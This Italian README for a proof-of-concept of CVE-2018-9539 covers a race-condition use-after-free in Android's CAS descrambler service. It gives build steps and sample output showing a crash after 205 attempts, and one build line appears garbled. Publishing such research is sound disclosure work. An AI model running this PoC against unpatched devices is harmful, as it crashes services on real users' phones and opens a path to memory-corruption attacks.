
Codice PoC per CVE-2018-9539
Codice proof-of-concept per CVE-2018-9539
Se hai domande, puoi scrivermi in DM su Twitter (@tamir_zb).
Per compilare questo progetto:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_race_uaf
Eseguire questo PoC su una versione non patchata di Android (8.1-9.0 precedente a novembre 2018) dovrebbe portare a un use-after-free. Nota che questo PoC non è realmente pensato per essere eseguito su Android 8.1, poiché si aspetta che la UaF faccia crashare il servizio, cosa che accade solo in Android 9.0, quindi eseguire questo PoC su Android 8.1 risulterà in un ciclo infinito.
Ecco un esempio di output dell'esecuzione di questo PoC su Android 9.0:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts